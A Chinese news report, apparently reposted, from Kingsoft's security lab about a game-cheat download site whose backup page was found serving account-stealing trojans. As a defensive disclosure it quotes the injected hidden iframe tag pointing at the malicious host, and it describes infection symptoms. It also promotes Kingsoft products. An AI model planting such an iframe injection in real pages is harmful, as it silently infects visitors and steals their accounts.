站長資訊網 金山毒霸安全實驗室監測6月17日消息，金山網盾云端數據突然監測到西西游戲網的當日外掛下載均報危險。西西游戲網是深受外掛玩家歡迎的游戲外掛下載網站，外掛玩家出于對西西游戲網的信任，很可能認為殺毒軟件誤報西西游戲網下載的外掛程序，若不幸中毒，可使用金山急救箱快速恢復系統，安裝了金山網盾的用戶將不會受害。
免費下載金山網盾:http://www.duba.net/wangdun/
金山毒霸安全專家對西西游戲網的異常情況進行了詳細檢查，結果發現是西西游戲網近日提供了一個西西游戲登錄器，這個登錄器的作用是在西西游戲網不能登錄時，使用登錄器訪問備用網站。但很不幸，這個備用網站被入侵，或備用網站出于某些原因被人為植入木馬。當外掛玩家訪問備用網站時，會下載大量盜號木馬。安裝了金山網盾的玩家在打開西西游戲登錄器訪問到掛馬頁面時，金山網盾會立即彈出報警。
分析發現掛馬的方式是在正常頁面中插入<iframe src= hxxp://www.9966.org:8801/user/Zr02/index.html width=100 height=0></iframe>
其中hxxp://www.9966.org:8801/user/Zr02/index.html頁利用系統多個漏洞掛馬，訪問時會下載大量盜號木馬，下圖中的js文件實際全部為PE文件（可執行程序）。
若外掛玩家不慎中招，會發現系統速度變慢。在開始、運行，輸入%Temp%，會發現temp文件夾下出現大量隱藏屬性的DLL文件
訪問西西游戲網不慎中毒之后，會在temp文件夾發現大量DLL病毒
中毒后的電腦會發現桌面快捷方式小箭頭不見了，這是病毒修改了桌面快捷方式的屬性。
查看被修改后的桌面快捷方式屬性，會發現對應的打開方式已被修改為wscript.exe
使用金山急救箱快速清除病毒，恢復被破壞的系統
金山毒霸反病毒專家指出，西西游戲網被掛馬的頁面已被管理員發現清除，目前尚無法得知這是網站被黑客入侵還是其它人為原因。金山安全專家提醒游戲玩家，特別是偏好使用外掛的游戲玩家務必小心，推薦安裝金山網盾攔截可能的威脅。
已經不幸中招的外掛玩家，可以使用金山急救箱來清除病毒，修復被破壞的系統。
特別提醒：本網內容轉載自其他媒體，目的在于傳遞更多信息，并不代表本網贊同其觀點。其原創性以及文中陳述文字和內容未經本站證實，對本文以及其中全部或者部分內容、文字的真實性、完整性、及時性本站不作任何保證或承諾，并請自行核實相關內容。本站不承擔此類作品侵權行為的直接責任及連帶責任。如若本網有任何內容侵犯您的權益，請及時聯系我們，本站將會在24小時內處理完畢。
